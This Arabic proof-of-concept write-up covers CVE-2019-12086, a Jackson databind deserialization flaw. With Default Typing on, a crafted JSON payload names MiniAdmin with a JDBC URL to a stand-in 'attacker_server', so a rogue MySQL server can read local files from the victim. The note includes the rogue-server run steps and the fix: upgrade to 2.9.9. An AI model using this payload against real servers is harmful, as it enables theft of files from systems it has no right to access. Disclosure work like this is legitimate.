
استغلال إثبات المفهوم لـ CVE-2019-12086: ثغرة إلغاء تسلسل Jackson databind تتيح قراءة ملفات عشوائية عبر خادم MySQL خبيث عند تمكين Default Typing.
عند تفعيل Default Typing، وفي حال وجود إصدار mysql-connector-java 8.0.15 أو أقل (صدر في 2019.2.1) في classpath، يمكن للمهاجم قراءة أي ملف عن طريق إرسال بيانات json خبيثة. مكتبة mysql-connector-java هي موصل MySQL JDBC الشائع الاستخدام للاتصال بقواعد البيانات.
وصف CVE كما يلي:
تم اكتشاف مشكلة تعدد الأشكال (Polymorphic Typing) في FasterXML jackson-databind 2.x قبل إصدار 2.9.9. عند تفعيل Default Typing (عمومًا أو لخاصية معينة) لنقطة نهاية JSON مكشوفة خارجيًا، وتواجد ملف mysql-connector-java jar (الإصدار 8.0.14 أو أقدم) في classpath، وتمكن المهاجم من استضافة خادم MySQL مخصص يمكن للضحية الوصول إليه، يمكن للمهاجم إرسال رسالة JSON مصممة بعناية تسمح له بقراءة ملفات محلية عشوائية على الخادم. يحدث ذلك بسبب غياب التحقق من com.mysql.cj.jdbc.admin.MiniAdmin.
تفاصيل الثغرة:
com.mysql.cj.jdbc.admin.MiniAdmin قيمة من نوع string تمثل jdbcURL، وعند تهيئة هذه الفئة يتم الاتصال بقاعدة بيانات MySQL المحددة في jdbcURL.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
قم بترقية jackson إلى الإصدار 2.9.9 أو أحدث.